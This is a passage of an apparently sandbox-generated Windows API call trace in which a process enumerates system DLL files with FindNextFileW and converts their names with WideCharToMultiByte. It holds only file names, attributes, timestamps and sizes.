ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x226c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x226c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x226c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x226c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x226c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x226c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x226c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x226c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x226c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x226c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0140.451] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0140.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x226c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x226c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x226c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: 